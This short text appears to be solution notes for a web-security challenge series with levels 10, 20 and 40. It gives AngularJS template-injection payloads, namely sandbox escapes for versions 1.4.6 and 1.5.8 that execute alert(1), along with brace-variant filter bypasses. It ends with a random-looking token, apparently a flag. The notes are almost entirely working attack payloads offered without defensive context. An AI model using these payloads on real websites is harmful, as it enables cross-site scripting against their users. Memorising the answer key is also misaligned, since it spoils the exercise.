10:
%7b%7b7*7}}
If you want to get a popup you have to abuse angular 1.4.6:
%7b%7b7'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}


20:
Any of the following instead of {
{ {
{
{

{{7*7}} for example

40:
If you want to get a popup you have to abuse angular 1.5.8 so you can no longer use the sandbox escape you used in 10.php:
%7b%7b7'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
You will now have to use 
{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(1),a')}}


j3240JIjdfjfoeje9234kfdjofie8dknNBKIHd234